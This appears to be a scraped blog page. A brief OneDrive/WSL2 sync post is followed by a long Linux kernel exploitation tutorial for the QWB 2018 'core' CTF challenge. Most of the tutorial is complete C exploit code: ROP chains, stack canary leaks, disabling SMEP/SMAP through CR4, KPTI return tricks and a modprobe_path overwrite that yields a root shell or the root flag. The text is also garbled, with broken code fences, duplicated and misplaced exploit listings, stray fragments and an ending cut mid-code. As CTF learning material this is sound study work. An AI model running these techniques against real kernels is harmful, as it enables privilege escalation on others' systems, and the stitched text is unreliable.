Skip to main content

Real-time Synchronization of OneDrive with inotify in WSL2

· 4 min read
MuelNova
Pwner who wants to write codes.

Recently, I've been working on some development projects, and I keep all my projects on OneDrive, using ln -s to create a symbolic link in WSL2 for development.

The IO performance across file systems like WSL2 ext4 and NTFS is painfully slow. Some venv and node_modules also heavily pollute my OneDrive. Despite some optimizations, frequent use of commands like git status has made me somewhat dissatisfied with this approach. However, I've always felt that the benefits of OneDrive synchronization outweigh these side effects, so I haven't done anything about it. Yesterday, I came across Dev Drive and suddenly thought, why not change it?

Considering that projects typically involve a large number of files, mostly small ones, I decided to migrate certain folders to WSL2 and use Robocopy to synchronize content bidirectionally between OneDrive and WSL2, trading space for efficiency.

This article will be tailored to my specific use case. If you just need to back up WSL2 content to OneDrive, I recommend referring to this article.

kernel_emergency

· 20 min read
#!/bin/bash

# Default target folder
folder="fs"

# Parse parameters
while [[ "$#" -gt 0 ]]; do
case $1 in
-f | --folder)
folder="$2"
shift
;;
*)
cpio_path="$1"
;;
esac
shift
done

# Check if cpio_path is provided
if [[ -z "$cpio_path" ]]; then
echo "Usage: $0 [-f|--folder folder_name] cpio_path"
exit 1
fi

# Create target folder
mkdir -p "$folder"

# Copy cpio_path to target folder
cp "$cpio_path" "$folder"

# Get file name
cpio_file=$(basename "$cpio_path")

# Enter target folder
cd "$folder" || exit

# Check if file is gzip compressed
if file "$cpio_file" | grep -q "gzip compressed"; then
echo "$cpio_file is gzip compressed, checking extension..."

# Check if file name has .gz suffix
if [[ "$cpio_file" != *.gz ]]; then
mv "$cpio_file" "$cpio_file.gz"
cpio_file="$cpio_file.gz"
fi

echo "Decompressing $cpio_file..."
gunzip "$cpio_file"
# Remove .gz suffix to get decompressed file name
cpio_file="${cpio_file%.gz}"
fi

# Extract cpio file
echo "Extracting $cpio_file to file system..."
cpio -idmv <"$cpio_file"
rm "$cpio_file"
echo "Extraction complete."
#!/bin/sh

if [[ $# -ne 1 ]]; then
echo "Usage: $0 cpio_path"
exit 1
fi

cpio_file="../$1"

find . -print0 |
cpio --null -ov --format=newc |
gzip -9 >"$cpio_file"
#!/bin/sh

folder="fs"
cpio_file="initramfs.cpio.gz"
gcc_options=()

while [[ $# -gt 0 ]]; do
case $1 in
-f|--folder)
folder="$2"
shift
;;
-c|--cpio)
cpio_file="$2"
shift
;;
-*)
gcc_options+=("$1")
;;
*)
src="$1"
;;
esac
shift
done

if [ -z "$src" ]; then
echo "Usage: compile.sh [options] <source file>"
echo "Options:"
echo " -f, --folder <folder> Specify the folder to store the compiled binary"
echo " -c, --cpio <file> Specify the cpio file name"
echo " <other options> Options to pass to musl-gcc"
exit 1
fi

out=$(basename "$src" .c)

echo -e "\033[35mCompiling $src to $folder/$out\033[0m"
musl-gcc -static "${gcc_options[@]}" "$src" -Os -s -o "$out" -masm=intel
strip "$out"
mv "$out" "$folder/"
cd "$folder"

echo -e "\033[35mCreating cpio archive $cpio_file...\033[0m"
find . -print0 | cpio --null -ov --format=newc | gzip -9 > "../${cpio_file}"
echo -e "\033[35mDone\033[0m"

Kernel ROP

In this section, we will gradually enhance the protection measures step by step based on the QWB 2018 core challenge.

Analysis

Since the vulnerability analysis is very straightforward, we will not go into details. You can search for keywords to view the analysis.

Lv1. KCanary + KASLR

Initially, I wanted to disable KCanary as well, but it requires recompiling the kernel, which is too cumbersome.

Thus, Lv1 is the scenario with KCanary enabled and all other protections disabled.

qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./initramfs.cpio.gz \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic

In this scenario, we only need to read /tmp/kallsyms to get the addresses of commit_creds and prepare_kernel_cred functions.

However, since we can directly obtain the addresses, having KASLR does not make much difference, so we combine the two.

First, we need to find the addresses of commit_creds and prepare_kernel_cred functions.

syms = fopen("/tmp/kallsyms", "r");
if (syms == NULL) {
puts("\033[31m\033[1m[-] Open /tmp/kallsyms failed.\033[0m");
exit(0);
}

while (fscanf(syms, "%lx %s %s", &addr, type, name)) {
if (prepare_kernel_cred && commit_creds) {
break;
}

if (!prepare_kernel_cred && strcmp(name, "prepare_kernel_cred") == 0) {
prepare_kernel_cred = addr;
printf("\033[33m\033[1m[√] Found prepare_kernel_cred: %lx\033[0m\n", prepare_kernel_cred);
}

if (!commit_creds && strcmp(name, "commit_creds") == 0) {
commit_creds = addr;
printf("\033[33m\033[1m[√] Found commit_creds: %lx\033[0m\n", commit_creds);
}
}

Then, we need to calculate the offset. Using tools like checksec, we can see that PIE is at 0xffffffff81000000, and we can also find the address of commit_creds under this base.

e = ELF('./vmlinux.unstripped')
hex(e.sym['commit_creds'])

Thus, the offset is calculated as follows:

offset = commit_creds - 0x9c8e0 - 0xffffffff81000000;

At this point, using the stack overflow, we can modify the return address.

// musl-gcc -static -masm=intel -Wno-error=int-conversion -o exp exp.c  // makes compiler happy
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>


#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff81050ac2

#pragma clang diagnostic ignored "-Wconversion" // makes me happy

size_t user_cs, user_ss, user_rflags, user_sp;
size_t prepare_kernel_cred, commit_creds;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void shell() {
if (!getuid()) {
system("/bin/sh");
} else {
puts("\033[31m\033[1m[-] Exploit failed.\033[0m");
exit(0);
}
}

void core_read(int fd, char* buf) {
ioctl(fd, 0x6677889B, buf);
}

void core_set_offset(int fd, size_t offset) {
ioctl(fd, 0x6677889C, offset);
}

void core_copy(int fd, size_t nbytes) {
ioctl(fd, 0x6677889A, nbytes);
}

void getroot() {
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}


int main() {
FILE *syms;
int fd;
size_t offset;

size_t addr;
size_t canary;
char type[256], name[256];

size_t rop[0x100], i;

puts("\033[34m\033[1m[*] Start to exploit...\033[0m");
save_status();

fd = open("/proc/core", O_RDWR);
if (fd < 0) {
puts("\033[31m\033[1m[-] Open /proc/core failed.\033[0m");
exit(0);
}

syms = fopen("/tmp/kallsyms", "r");
if (syms == NULL) {
puts("\033[31m\033[1m[-] Open /tmp/kallsyms failed.\033[0m");
exit(0);
}

while (fscanf(syms, "%lx %s %s", &addr, type, name)) {
if (prepare_kernel_cred && commit_creds) {
break;
}

if (!prepare_kernel_cred && strcmp(name, "prepare_kernel_cred") == 0) {
prepare_kernel_cred = addr;
printf("\033[33m\033[1m[√] Found prepare_kernel_cred: %lx\033[0m\n", prepare_kernel_cred);
}

if (!commit_creds && strcmp(name, "commit_creds") == 0) {
commit_creds = addr;
printf("\033[33m\033[1m[√] Found commit_creds: %lx\033[0m\n", commit_creds);
}
}

offset = commit_creds - 0x9c8e0 - 0xffffffff81000000;
core_set_offset(fd, 64);
core_read(fd, name);
canary = ((size_t *)name)[0];
printf("\033[34m\033[1m[*] offset: 0x%lx\033[0m\n", offset);
printf("\033[33m\033[1m[√] Canary: %lx\033[0m\n", canary);

for (i = 0; i < 10; i++) rop[i] = canary;
rop[i++] = (size_t)getroot;
rop[i++] = SWAPGS_POPFQ_RET + offset;
rop[i++] = 0;
rop[i++] = IRETQ + offset;
rop[i++] = (size_t)shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd, rop, 0x100);
core_copy(fd, 0xffffffffffff0000 | (0x100));
}

Lv2. KCanary + KASLR + SMEP + SMAP

The above method uses ret2usr, but what if we add SMEP and SMAP?

qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-cpu qemu64-v1,+smep,+smap \
-initrd ./initramfs.cpio.gz \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic

Method 0x1 - KROP

The simplest approach is to use the overflow directly to write the ROP chain.```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/ioctl.h>

#define POP_RDI_RET 0xffffffff81000b2f #define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a #define POP_RDX_RET 0xffffffff810a0f49 #define POP_RCX_RET 0xffffffff81021e53 #define SWAPGS_POPFQ_RET 0xffffffff81a012da #define IRETQ 0xffffffff81050ac2

size_t user_cs, user_ss, user_rflags, user_sp; size_t prepare_kernel_cred, commit_creds; void save_status() { asm("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;"); puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); }

void shell() { if (!getuid()) { system("/bin/sh"); } else { puts("\033[31m\033[1m[-] Exploit failed.\033[0m"); exit(0); } }

void core_read(int fd, char* buf) { ioctl(fd, 0x6677889B, buf); }

void core_set_offset(int fd, size_t offset) { ioctl(fd, 0x6677889C, offset); }

void core_copy(int fd, size_t nbytes) { ioctl(fd, 0x6677889A, nbytes); }

int main() { FILE *syms; int fd; size_t offset;

size_t addr;
size_t canary;
char type[256], name[256];

size_t rop[0x100], i;

puts("\033[34m\033[1m[*] Start to exploit...\033[0m");
save_status();

fd = open("/proc/core", O_RDWR);
if (fd < 0) {
puts("\033[31m\033[1m[-] Open /proc/core failed.\033[0m");
exit(0);
}

syms = fopen("/tmp/kallsyms", "r");
if (syms == NULL) {
puts("\033[31m\033[1m[-] Open /tmp/kallsyms failed.\033[0m");
exit(0);
}

while (fscanf(syms, "%lx %s %s", &addr, type, name)) {
if (prepare_kernel_cred && commit_creds) {
break;
}

if (!prepare_kernel_cred && strcmp(name, "prepare_kernel_cred") == 0) {
prepare_kernel_cred = addr;
printf("\033[33m\033[1m[√] Found prepare_kernel_cred: %lx\033[0m\n", prepare_kernel_cred);
}

if (!commit_creds && strcmp(name, "commit_creds") == 0) {
commit_creds = addr;
printf("\033[33m\033[1m[√] Found commit_creds: %lx\033[0m\n", commit_creds);
}
}

offset = commit_creds - 0x9c8e0 - 0xffffffff81000000;
core_set_offset(fd, 64);
core_read(fd, name);
canary = ((size_t *)name)[0];
printf("\033[34m\033[1m[*] offset: 0x%lx\033[0m\n", offset);
printf("\033[33m\033[1m[√] Canary: %lx\033[0m\n", canary);

for (i = 0; i < 10; i++) rop[i] = canary;
rop[i++] = POP_RDI_RET + offset;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = POP_RDX_RET + offset;
rop[i++] = POP_RCX_RET + offset;
rop[i++] = MOV_RDI_RAX_CALL_RDX + offset;
rop[i++] = commit_creds;
rop[i++] = SWAPGS_POPFQ_RET + offset;
rop[i++] = 0;
rop[i++] = IRETQ + offset;
rop[i++] = (size_t)shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd, rop, 0x100);
core_copy(fd, 0xffffffffffff0000 | (0x100));

}


#### Method 0x2 - Disable SMEP/SMAP

The above method is not strictly considered "bypassing." Therefore, let's continue to look at how SMEP and SMAP operate.

![image.png](https://i.loli.net/2021/09/07/sYFKuZiUVNIclBp.png)

So, in essence, they are just two bits in the CR4 register, which we can set to zero.

Using ropper, we look for any gadgets that can pop cr4, but none are found. Instead, we find a gadget that moves cr4:

`0xffffffff81002515: mov cr4, rax; push rcx; popfq; ret;`

We then rearrange the ROP chain to set cr4 to 0x6f0 (for simplicity, you can also use other gadgets to precisely xor or not).

```c
for (i = 0; i < 10; i++) rop[i] = canary;
rop[i++] = POP_RAX_RET + offset;
rop[i++] = 0x6f0;
rop[i++] = MOV_CR4_RAX_PUSH_RCX_POPFQ_RET + offset;
rop[i++] = (size_t)getroot;
rop[i++] = SWAPGS_POPFQ_RET + offset;
rop[i++] = 0;
rop[i++] = IRETQ + offset;
rop[i++] = (size_t)shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

Lv.3 KCanary + KASLR + SMEP + SMAP + KPTI

If KPTI is added, the previous method 0x2 cannot be used. However, method 0x1 can still be used because KPTI only enforces isolation. However, since the PGD is in kernel mode when we are in kernel space, we need to perform additional operations to switch back.

KPTI, in simple terms, uses a 4MB PGD, with 04MB for user-mode PGD and 48MB for kernel-mode PGD. Switching can be done efficiently by toggling the 13th bit of the CR3 register.

qemu-system-x86_64 \
-m 128M \
-cpu qemu64-v1,+smep,+smap \
-kernel ./bzImage \
-initrd ./initramfs.cpio.gz \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr pti=on" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

Method 0x1 - swapgs_restore_regs_and_return_to_usermode

The simplest approach is to directly use the correct switching statements from swapgs_restore_regs_and_return_to_usermode. The operations related to registers and stack in this function can be summarized as follows, so we add two padding instructions:

mov  rdi, cr3
or rdi, 0x1000
mov cr3, rdi
pop rax
pop rdi
swapgs
iretq
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>


#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define POP_RAX_RET 0xffffffff810520cf
#define MOV_CR4_RAX_PUSH_RCX_POPFQ_RET 0xffffffff81002515
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff81050ac2
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81a008f0

#pragma clang diagnostic ignored "-Wconversion" // makes me happy

size_t user_cs, user_ss, user_rflags, user_sp;
size_t prepare_kernel_cred, commit_creds;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void shell() {
if (!getuid()) {
system("/bin/sh");
} else {
puts("\033[31m\033[1m[-] Exploit failed.\033[0m");
exit(0);
}
}

void core_read(int fd, char* buf) {
ioctl(fd, 0x6677889B, buf);
}

void core_set_offset(int fd, size_t offset) {
ioctl(fd, 0x6677889C, offset);
}

void core_copy(int fd, size_t nbytes) {
ioctl(fd, 0x6677889A, nbytes);
}

void getroot() {
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}


int main() {
FILE *syms;
int fd;
size_t offset;

size_t addr;
size_t canary;
char type[256], name[256];

size_t rop[0x100], i;

puts("\033[34m\033[1m[*] Start to exploit...\033[0m");
save_status();

fd = open("/proc/core", O_RDWR);
if (fd < 0) {
puts("\033[31m\033[1m[-] Open /proc/core failed.\033[0m");
exit(0);
}

syms = fopen("/tmp/kallsyms", "r");
if (syms == NULL) {
puts("\033[31m\033[1m[-] Open /tmp/kallsyms failed.\033[0m");
exit(0);
}

while (fscanf(syms, "%lx %s %s", &addr, type, name)) {
if (prepare_kernel_cred && commit_creds) {
break;
}

if (!prepare_kernel_cred && strcmp(name, "prepare_kernel_cred") == 0) {
prepare_kernel_cred = addr;
printf("\033[33m\033[1m[√] Found prepare_kernel_cred: %lx\033[0m\n", prepare_kernel_cred);
}

if (!commit_creds && strcmp(name, "commit_creds") == 0) {
commit_creds = addr;
printf("\033[33m\033[1m[√] Found commit_creds: %lx\033[0m\n", commit_creds);
}
}

offset = commit_creds - 0x9c8e0 - 0xffffffff81000000;
core_set_offset(fd, 64);
core_read(fd, name);
canary = ((size_t *)name)[0];
printf("\033[34m\033[1m[*] offset: 0x%lx\033[0m\n", offset);
printf("\033[33m\033[1m[√] Canary: %lx\033[0m\n", canary);

for (i = 0; i < 10; i++) rop[i] = canary;
rop[i++] = POP_RDI_RET + offset;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = POP_RDX_RET + offset;
rop[i++] = POP_RCX_RET + offset;
rop[i++] = MOV_RDI_RAX_CALL_RDX + offset;
rop[i++] = commit_creds;
rop[i++] = SWAPGS_POPFQ_RET + offset;
rop[i++] = 0;
rop[i++] = IRETQ + offset;
rop[i++] = (size_t)shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd, rop, 0x100);
core_copy(fd, 0xffffffffffff0000 | (0x100));

}
```offset;
rop[i++] = commit_creds;
rop[i++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + offset;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = (size_t)shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd, rop, 0x100);
core_copy(fd, 0xffffffffffff0000 | (0x100));
}

Method 0x2 - Signal Handling

If we return directly without switching page tables, we can see it reports a SEGMENTATION FAULT instead of panicking, which indicates that we have actually returned to user mode. In this case, we can simply use a signal handler to handle the situation.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>

#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define POP_RAX_RET 0xffffffff810520cf
#define MOV_CR4_RAX_PUSH_RCX_POPFQ_RET 0xffffffff81002515
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff81050ac2

#pragma clang diagnostic ignored "-Wconversion" // makes me happy

size_t user_cs, user_ss, user_rflags, user_sp;
size_t prepare_kernel_cred, commit_creds;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void shell() {
if (!getuid()) {
system("/bin/sh");
} else {
puts("\033[31m\033[1m[-] Exploit failed.\033[0m");
exit(0);
}
}

void core_read(int fd, char* buf) {
ioctl(fd, 0x6677889B, buf);
}

void core_set_offset(int fd, size_t offset) {
ioctl(fd, 0x6677889C, offset);
}

void core_copy(int fd, size_t nbytes) {
ioctl(fd, 0x6677889A, nbytes);
}

void getroot() {
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

int main() {
FILE *syms;
int fd;
size_t offset;

size_t addr;
size_t canary;
char type[256], name[256];

size_t rop[0x100], i;

puts("\033[34m\033[1m[*] Start to exploit...\033[0m");
save_status();
signal(SIGSEGV, shell);

fd = open("/proc/core", O_RDWR);
if (fd < 0) {
puts("\033[31m\033[1m[-] Open /proc/core failed.\033[0m");
exit(0);
}

syms = fopen("/tmp/kallsyms", "r");
if (syms == NULL) {
puts("\033[31m\033[1m[-] Open /tmp/kallsyms failed.\033[0m");
exit(0);
}

while (fscanf(syms, "%lx %s %s", &addr, type, name)) {
if (prepare_kernel_cred && commit_creds) {
break;
}

if (!prepare_kernel_cred && strcmp(name, "prepare_kernel_cred") == 0) {
prepare_kernel_cred = addr;
printf("\033[33m\033[1m[√] Found prepare_kernel_cred: %lx\033[0m\n", prepare_kernel_cred);
}

if (!commit_creds && strcmp(name, "commit_creds") == 0) {
commit_creds = addr;
printf("\033[33m\033[1m[√] Found commit_creds: %lx\033[0m\n", commit_creds);
}
}

offset = commit_creds - 0x9c8e0 - 0xffffffff81000000;
core_set_offset(fd, 64);
core_read(fd, name);
canary = ((size_t *)name)[0];
printf("\033[34m\033[1m[*] offset: 0x%lx\033[0m\n", offset);
printf("\033[33m\033[1m[√] Canary: %lx\033[0m\n", canary);

for (i = 0; i < 10; i++) rop[i] = canary;
rop[i++] = POP_RDI_RET + offset;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = POP_RDX_RET + offset;
rop[i++] = POP_RCX_RET + offset;
rop[i++] = MOV_RDI_RAX_CALL_RDX + offset;
rop[i++] = commit_creds;
rop[i++] = SWAPGS_POPFQ_RET + offset;
rop[i++] = 0;
rop[i++] = IRETQ + offset;
rop[i++] = (size_t)shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd, rop, 0x100);
core_copy(fd, 0xffffffffffff0000 | (0x100));
}

Lv.4 KCANARY + FGKASLR + SMEP + SMAP + KPTI

For this challenge, FGKASLR is not very useful because we can know the positions of all symbols. Moreover, it was not actually enabled during compilation (xiao).

Method 0x1 - .text Gadgets

We will use the original method, but this time we need to calculate the offset using swapgs_restore_regs_and_return_to_usermode because the range from 0xffffffff81000000 to 0xffffffff83000000 is within the same section, and the offset remains constant. Our gadgets are located in this segment.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>

#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define POP_RAX_RET 0xffffffff810520cf
#define MOV_CR4_RAX_PUSH_RCX_POPFQ_RET 0xffffffff81002515
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff81050ac2

#pragma clang diagnostic ignored "-Wconversion" // makes me happy

size_t user_cs, user_ss, user_rflags, user_sp;
size_t prepare_kernel_cred, commit_creds, swapgs_restore_regs_and_return_to_usermode;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void shell() {
if (!getuid()) {
system("/bin/sh");
} else {
puts("\033[31m\033[1m[-] Exploit failed.\033[0m");
exit(0);
}
}

void core_read(int fd, char* buf) {
ioctl(fd, 0x6677889B, buf);
}

void core_set_offset(int fd, size_t offset) {
ioctl(fd, 0x6677889C, offset);
}

void core_copy(int fd, size_t nbytes) {
ioctl(fd, 0x6677889A, nbytes);
}

void getroot() {
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

int main() {
FILE *syms;
int fd;
size_t offset;

size_t addr;
size_t canary;
char type[256], name[256];

size_t rop[0x100], i;

puts("\033[34m\033[1m[*] Start to exploit...\033[0m");
save_status();
signal(SIGSEGV, shell);

fd = open("/proc/core", O_RDWR);
if (fd < 0) {
puts("\033[31m\033[1m[-] Open /proc/core failed.\033[0m");
exit(0);
}

syms = fopen("/tmp/kallsyms", "r");
if (syms == NULL) {
puts("\033[31m\033[1m[-] Open /tmp/kallsyms failed.\033[0m");
exit(0);
}

while (fscanf(syms, "%lx %s %s", &addr, type, name)) {
if (prepare_kernel_cred && commit_creds && swapgs_restore_regs_and_return_to_usermode) {
break;
}

if (!prepare_kernel_cred && strcmp(name, "prepare_kernel_cred") == 0) {
prepare_kernel_cred = addr;
printf("\033[33m\033[1m[√] Found prepare_kernel_cred: %lx\033[0m\n", prepare_kernel_cred);
}

if (!commit_creds && strcmp(name, "commit_creds") == 0) {
commit_creds = addr;
printf("\033[33m\033[1m[√] Found commit_creds: %lx\033[0m\n", commit_creds);
}

if (!swapgs_restore_regs_and_return_to_usermode && strcmp(name, "swapgs_restore_regs_and_return_to_usermode") == 0) {
swapgs_restore_regs_and_return_to_usermode = addr;
printf("\033[33m\033[1m[√] Found swapgs_restore_regs_and_return_to_usermode: %lx\033[0m\n", swapgs_restore_regs_and_return_to_usermode);
}
}

offset = swapgs_restore_regs_and_return_to_usermode - 0xa008da - 0xffffffff81000000;
core_set_offset(fd, 64);
core_read(fd, name);
canary = ((size_t *)name)[0];
printf("\033[34m\033[1m[*] offset: 0x%lx\033[0m\n", offset);
printf("\033[33m\033[1m[√] Canary: %lx\033[0m\n", canary);

for (i = 0; i < 10; i++) rop[i] = canary;
rop[i++] = POP_RDI_RET + offset;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = POP_RDX_RET + offset;
rop[i++] = POP_RCX_RET + offset;
rop[i++] = MOV_RDI_RAX_CALL_RDX + offset;
rop[i++] = commit_creds;
rop[i++] = SWAPGS_POPFQ_RET + offset;
rop[i++] = 0;
rop[i++] = IRETQ + offset;
rop[i++] = (size_t)shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd, rop, 0x100);
core_copy(fd, 0xffffffffffff0000 | (0x100));
}
``````c
_CALL_RDX + offset;
rop[i++] = commit_creds;
rop[i++] = SWAPGS_POPFQ_RET + offset;
rop[i++] = 0;
rop[i++] = IRETQ + offset;
rop[i++] = (size_t)shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd, rop, 0x100);
core_copy(fd, 0xffffffffffff0000 | (0x100));
}

Method 0x2 - __ksymtab

Next, let's assume we cannot obtain the addresses of the commit and prepare functions in their respective segments. According to the implementation of FGKASLR, we can use readelf --section-headers -W vmlinux | grep -vE 'ax' to see which sections do not undergo additional offsets. We can observe a __ksymtab section, which stores the offset from the current address to the symbol, and its offset to the kernel base address is fixed.

We can achieve this using similar gadgets:

push rax; ret;
__ksymtab_commit_creds - 0x10;
mov rax, [rax + 0x10];
push rdi; ret;
__ksymtab_commit_creds;
add rdi, rax;
; RDI is commit_creds now

However, in this problem, I found that the vmlinux stores not offsets but direct addresses. A ksymtab should have three ints but only has two, not sure if it's an issue with IDA or something else. The vmlinux.stripped restored using vmlinux-to-elf does not have this symbol, so it is temporarily shelved.

Method 0x3 - modprobe_path

The third approach involves exploiting modprobe_path, a variable in the kernel located in the .data section. When executing a program with an unknown file header, it goes through do_execve() and eventually calls call_modprobe, using the file at modprobe_path to execute the program with root privileges. Thus, we only need to overwrite modprobe_path.

First, obtain the address of modprobe_path. I couldn't find the symbol table, but you can directly search the memory for "/sbin/modprobe" to locate it. After returning to user mode, create a malicious program, such as one that generates a shell with the suid bit set. It seems that doing so does not provide the root user with the PATH environment variable, so it might be better to directly copy the flag.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>

#define POP_RAX_RET 0xffffffff810520cf
#define MOV_PTR_RBX_RAX_POP_RBX_RET 0xffffffff8101e5e1
#define POP_RBX_RET 0xffffffff81000472
#define MODPROBE_PATH 0xffffffff8223d8c0
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81a008f0

#pragma clang diagnostic ignored "-Wconversion" // makes me happy

size_t user_cs, user_ss, user_rflags, user_sp;
size_t swapgs_restore_regs_and_return_to_usermode;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void core_read(int fd, char* buf) {
ioctl(fd, 0x6677889B, buf);
}

void core_set_offset(int fd, size_t offset) {
ioctl(fd, 0x6677889C, offset);
}

void core_copy(int fd, size_t nbytes) {
ioctl(fd, 0x6677889A, nbytes);
}

void getFlag() {
puts("\033[33m\033[01m[+] Ready to get flag!!!\033[0m");
system("echo '#!/bin/sh\ncp /root/flag /tmp/flag\nchmod 777 /tmp/flag' > /tmp/x");
system("chmod +x /tmp/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/nova");
system("chmod +x /tmp/nova");

puts("\033[33m\033[01m[+] Run /tmp/nova\033[0m");
system("/tmp/nova");

system("cat /tmp/flag");
exit(0);
}

int main() {
FILE *syms;
int fd;
size_t offset;

size_t addr;
size_t canary;
char type[256], name[256];

size_t rop[0x100], i;

puts("\033[34m\033[1m[*] Start to exploit...\033[0m");
save_status();

fd = open("/proc/core", O_RDWR);
if (fd < 0) {
puts("\033[31m\033[1m[-] Open /proc/core failed.\033[0m");
exit(0);
}

syms = fopen("/tmp/kallsyms", "r");
if (syms == NULL) {
puts("\033[31m\033[1m[-] Open /tmp/kallsyms failed.\033[0m");
exit(0);
}

while (fscanf(syms, "%lx %s %s", &addr, type, name)) {

if (!swapgs_restore_regs_and_return_to_usermode && strcmp(name, "swapgs_restore_regs_and_return_to_usermode") == 0) {
swapgs_restore_regs_and_return_to_usermode = addr;
printf("\033[33m\033[1m[√] Found swapgs_restore_regs_and_return_to_usermode: %lx\033[0m\n", swapgs_restore_regs_and_return_to_usermode);
break;
}

}

offset = swapgs_restore_regs_and_return_to_usermode - 0xa008da - 0xffffffff81000000;
core_set_offset(fd, 64);
core_read(fd, name);
canary = ((size_t *)name)[0];
printf("\033[34m\033[1m[*] base: 0x%lx\033[0m\n", swapgs_restore_regs_and_return_to_usermode-0xa008da);
